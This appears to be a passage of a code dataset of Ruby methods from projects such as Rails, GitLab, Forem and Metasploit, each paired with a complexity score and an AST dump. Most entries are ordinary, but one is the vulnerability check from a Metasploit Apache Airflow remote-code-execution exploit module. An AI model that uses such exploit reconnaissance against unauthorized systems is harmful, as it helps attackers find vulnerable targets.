end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"polymorphic_url_for_action\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]},{\"type\":\"arg\",\"children\":[\"record_or_hash\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"polymorphic_url\",{\"type\":\"lvar\",\"children\":[\"record_or_hash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"lvar\",\"children\":[\"action\"]}]}]}]}]}]}","id":"c71c09d1-d210-4161-9372-47c15c534d10"} {"repo_name":"rails","file_path":"./repos/rails/actionmailer/test/mailers/base_mailer.rb","start_line":63,"raw_source":"def attachment_with_hash\n attachments[\"invoice.jpg\"] = { data: ::Base64.encode64(\"\\312\\213\\254\\232)b\"),\n mime_type: \"image/x-jpg\",\n transfer_encoding: \"base64\" }\n mail\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"attachment_with_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"mail\"]}]}","id":"55b077ef-39c0-4876-bff6-6c61cc3e5b59"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/npm/create_package_service.rb","start_line":174,"raw_source":"def largest_fields\n field_sizes\n .sort_by { |a| a[1] }\n .reverse[0..::Packages::Npm::Metadatum::NUM_FIELDS_FOR_ERROR_TRACKING - 1]\n .to_h\n end","complexity_score":12.58,"ast_json":"{\"type\":\"def\",\"children\":[\"largest_fields\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"field_sizes\"]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},\"reverse\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Npm\"]},\"Metadatum\"]},\"NUM_FIELDS_FOR_ERROR_TRACKING\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]},\"to_h\"]}]}","id":"8d27a3f7-1251-4669-b596-9ed3a54d5684"} {"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/resource_limits.rb","start_line":8,"raw_source":"def initialize(limits)\n @render_length_limit = limits[:render_length_limit]\n @render_score_limit = limits[:render_score_limit]\n @assign_score_limit = limits[:assign_score_limit]\n reset\n end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"limits\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@render_length_limit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"limits\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"render_length_limit\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@render_score_limit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"limits\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"render_score_limit\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@assign_score_limit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"limits\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"assign_score_limit\"]}]}]},{\"type\":\"send\",\"children\":[null,\"reset\"]}]}]}","id":"1b2ab03f-34ad-4ab2-a54a-448f868d7b32"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/callbacks_test.rb","start_line":240,"raw_source":"def method_missing(sym, ...)\n case sym\n when /^log_(.*)/\n @history << $1\n nil\n when /^wrap_(.*)/\n @history << \"wrap_#$1\"\n yield\n @history << \"unwrap_#$1\"\n nil\n when /^double_(.*)/\n @history << \"first_#$1\"\n yield\n @history << \"second_#$1\"\n yield\n @history << \"third_#$1\"\n else\n super\n end\n end","complexity_score":15.1,"ast_json":"{\"type\":\"def\",\"children\":[\"method_missing\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sym\"]},{\"type\":\"forward_arg\",\"children\":[]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sym\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^log_(.*)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@history\"]},\"<<\",{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^wrap_(.*)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@history\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"wrap_\"]},{\"type\":\"nth_ref\",\"children\":[1]}]}]},{\"type\":\"yield\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@history\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"unwrap_\"]},{\"type\":\"nth_ref\",\"children\":[1]}]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^double_(.*)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@history\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"first_\"]},{\"type\":\"nth_ref\",\"children\":[1]}]}]},{\"type\":\"yield\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@history\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"second_\"]},{\"type\":\"nth_ref\",\"children\":[1]}]}]},{\"type\":\"yield\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@history\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"third_\"]},{\"type\":\"nth_ref\",\"children\":[1]}]}]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"b5f426e9-512e-4043-8c03-75c2620fc9e8"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/request_forgery_protection_test.rb","start_line":676,"raw_source":"def test_should_not_raise_error_if_token_is_not_a_string\n assert_blocked do\n patch :index, params: { custom_authenticity_token: 1 }, as: :json\n end\n end","complexity_score":3.43,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_not_raise_error_if_token_is_not_a_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_blocked\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"patch\",{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_authenticity_token\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"sym\",\"children\":[\"json\"]}]}]}]}]}]}","id":"77302fc6-18d0-4445-b424-ca49636ac08b"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/date_time_precision_test.rb","start_line":77,"raw_source":"def test_passing_precision_to_datetime_does_not_set_limit\n @connection.create_table(:foos, force: true) do |t|\n t.timestamps precision: 4\n end\n assert_nil Foo.columns_hash[\"created_at\"].limit\n assert_nil Foo.columns_hash[\"updated_at\"].limit\n end","complexity_score":13.83,"ast_json":"{\"type\":\"def\",\"children\":[\"test_passing_precision_to_datetime_does_not_set_limit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"create_table\",{\"type\":\"sym\",\"children\":[\"foos\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"force\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"int\",\"children\":[4]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Foo\"]},\"columns_hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"created_at\"]}]},\"limit\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Foo\"]},\"columns_hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"updated_at\"]}]},\"limit\"]}]}]}]}","id":"55b86359-549f-4cad-8bf5-92f6e34c5646"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/git/repository.rb","start_line":163,"raw_source":"def use_ssh_key(key)\n @ssh = Support::SSH.perform do |ssh|\n ssh.key = key\n ssh.uri = uri\n ssh.setup(env: env_vars)\n ssh\n end\n\n env_vars << %(GIT_SSH_COMMAND=\"ssh -i #{ssh.private_key_file.path} -o UserKnownHostsFile=#{ssh.known_hosts_file.path} -o IdentitiesOnly=yes\")\n end","complexity_score":19.8,"ast_json":"{\"type\":\"def\",\"children\":[\"use_ssh_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@ssh\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Support\"]},\"SSH\"]},\"perform\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ssh\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ssh\"]},\"key=\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ssh\"]},\"uri=\",{\"type\":\"send\",\"children\":[null,\"uri\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ssh\"]},\"setup\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env\"]},{\"type\":\"send\",\"children\":[null,\"env_vars\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"ssh\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env_vars\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"GIT_SSH_COMMAND=\\\"ssh -i \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssh\"]},\"private_key_file\"]},\"path\"]}]},{\"type\":\"str\",\"children\":[\" -o UserKnownHostsFile=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssh\"]},\"known_hosts_file\"]},\"path\"]}]},{\"type\":\"str\",\"children\":[\" -o IdentitiesOnly=yes\\\"\"]}]}]}]}]}","id":"df79f79a-8c85-4d6a-a27d-0767eaa55e98"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/url_helper_test.rb","start_line":907,"raw_source":"def test_mail_to_returns_html_safe_string\n assert_predicate mail_to(\"david@loudthinking.com\"), :html_safe?\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_mail_to_returns_html_safe_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[null,\"mail_to\",{\"type\":\"str\",\"children\":[\"david@loudthinking.com\"]}]},{\"type\":\"sym\",\"children\":[\"html_safe?\"]}]}]}","id":"9c678727-fe46-4677-8f29-5cde1ae59130"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/gather/check_malware.rb","start_line":44,"raw_source":"def get_report(api_key, checksum)\n #\n # We have to use Net::HTTP instead of HttpClient because of the following error:\n # The supplied module name is ambiguous: undefined method `register_autofilter_ports'\n #\n url = URI.parse('https://www.virustotal.com/vtapi/v2/file/report')\n req = Net::HTTP::Post.new(url.path, { 'Host' => 'www.virustotal.com' })\n req.set_form_data({ 'apikey' => api_key, 'resource' => checksum })\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n res = http.start { |h| h.request(req) }\n\n unless res\n print_error(\"#{rhost} - Connection timed out\")\n return ''\n end\n\n case res.code\n when 204\n print_error(\"#{rhost} - You have reached the request limit, please wait for one minute to try again\")\n return ''\n when 403\n print_error(\"#{rhost} - No privilege to execute this request probably due to an invalye API key\")\n return ''\n end\n\n body = ''\n begin\n body = JSON.parse(res.body)\n rescue JSON::ParserError\n print_error(\"#{rhost} - Unable to parse the response\")\n return body\n end\n\n body\n end","complexity_score":37.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_report\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"api_key\"]},{\"type\":\"arg\",\"children\":[\"checksum\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"str\",\"children\":[\"https://www.virustotal.com/vtapi/v2/file/report\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"req\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTP\"]},\"Post\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Host\"]},{\"type\":\"str\",\"children\":[\"www.virustotal.com\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"set_form_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"apikey\"]},{\"type\":\"lvar\",\"children\":[\"api_key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"resource\"]},{\"type\":\"lvar\",\"children\":[\"checksum\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"http\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTP\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"port\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"use_ssl=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"start\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"request\",{\"type\":\"lvar\",\"children\":[\"req\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\" - Connection timed out\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[204]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\" - You have reached the request limit, please wait for one minute to try again\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[403]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\" - No privilege to execute this request probably due to an invalye API key\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"ParserError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\" - Unable to parse the response\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}","id":"df327b9c-351b-45b8-9b13-2279f95b1162"} {"repo_name":"forem","file_path":"./repos/forem/app/models/notification.rb","start_line":97,"raw_source":"def send_reaction_notification_without_delay(reaction, receiver)\n return if reaction.skip_notification_for?(receiver)\n return if UserBlock.blocking?(receiver, reaction.user_id)\n\n Notifications::NewReactionWorker.new.perform(*reaction_notification_attributes(reaction, receiver))\n end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"send_reaction_notification_without_delay\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reaction\"]},{\"type\":\"arg\",\"children\":[\"receiver\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reaction\"]},\"skip_notification_for?\",{\"type\":\"lvar\",\"children\":[\"receiver\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserBlock\"]},\"blocking?\",{\"type\":\"lvar\",\"children\":[\"receiver\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reaction\"]},\"user_id\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notifications\"]},\"NewReactionWorker\"]},\"new\"]},\"perform\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reaction_notification_attributes\",{\"type\":\"lvar\",\"children\":[\"reaction\"]},{\"type\":\"lvar\",\"children\":[\"receiver\"]}]}]}]}]}]}","id":"a7968fb4-cee0-4329-8f50-e044e8024755"} {"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/migration_generator_test.rb","start_line":330,"raw_source":"def test_should_create_empty_migrations_if_name_not_start_with_add_or_remove_or_create\n migration = \"delete_books\"\n run_generator [migration, \"title:string\", \"content:text\"]\n\n assert_migration \"db/migrate/#{migration}.rb\" do |content|\n assert_method :change, content do |change|\n assert_match(/^\\s*$/, change)\n end\n end\n end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_create_empty_migrations_if_name_not_start_with_add_or_remove_or_create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"migration\",{\"type\":\"str\",\"children\":[\"delete_books\"]}]},{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration\"]},{\"type\":\"str\",\"children\":[\"title:string\"]},{\"type\":\"str\",\"children\":[\"content:text\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_migration\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"db/migrate/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"str\",\"children\":[\".rb\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_method\",{\"type\":\"sym\",\"children\":[\"change\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"change\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\s*$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"change\"]}]}]}]}]}]}","id":"917cd257-7a93-4316-a8bc-9cb15ffeda06"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/service_desk/custom_emails/create_service.rb","start_line":78,"raw_source":"def error_params_missing\n error_response(s_('ServiceDesk|Parameters missing'))\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"error_params_missing\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"error_response\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"ServiceDesk|Parameters missing\"]}]}]}]}","id":"f88274e2-8b3b-45a2-95d2-d888e393d717"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/apache_airflow_dag_rce.rb","start_line":75,"raw_source":"def check\n uri = normalize_uri(target_uri.path, 'admin', 'airflow', 'login')\n vprint_status(\"Checking target web server for a response at: #{full_uri(uri)}\")\n res = send_request_cgi({\n 'method' => 'GET',\n 'uri' => uri\n })\n\n unless res\n return CheckCode::Unknown('Target did not respond to check request.')\n end\n\n unless res.code == 200 &&\n res.body.downcase.include?('admin') &&\n res.body.downcase.include?('_csrf_token') &&\n res.body.downcase.include?('sign in to airflow')\n return CheckCode::Unknown('Target is not running Apache Airflow.')\n end\n\n vprint_good('Target is running Apache Airflow.')\n\n vprint_status('Checking Apache Airflow version...')\n version_number = res.body.to_s.scan(\n %r{<a href=\"https://airflow[.]apache[.]org/docs/([\\d.]+)\"}\n ).flatten.first\n\n unless version_number\n return CheckCode::Detected('Apache Airflow version cannot be determined.')\n end\n\n unless Rex::Version.new(version_number) < Rex::Version.new('1.10.11')\n return CheckCode::Safe\n end\n\n vprint_status(\n \"Target is running Apache Airflow Version #{version_number}. \" \\\n 'Performing additional checks for exploitability...'\n )\n\n check_api\n check_task\n check_unpaused\n\n return CheckCode::Appears\n end","complexity_score":52.73,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"admin\"]},{\"type\":\"str\",\"children\":[\"airflow\"]},{\"type\":\"str\",\"children\":[\"login\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Checking target web server for a response at: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"full_uri\",{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Target did not respond to check request.\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"downcase\"]},\"include?\",{\"type\":\"str\",\"children\":[\"admin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"downcase\"]},\"include?\",{\"type\":\"str\",\"children\":[\"_csrf_token\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"downcase\"]},\"include?\",{\"type\":\"str\",\"children\":[\"sign in to airflow\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Target is not running Apache Airflow.\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"str\",\"children\":[\"Target is running Apache Airflow.\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Checking Apache Airflow version...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"version_number\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"to_s\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<a href=\\\"https://airflow[.]apache[.]org/docs/([\\\\d.]+)\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"flatten\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version_number\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Detected\",{\"type\":\"str\",\"children\":[\"Apache Airflow version cannot be 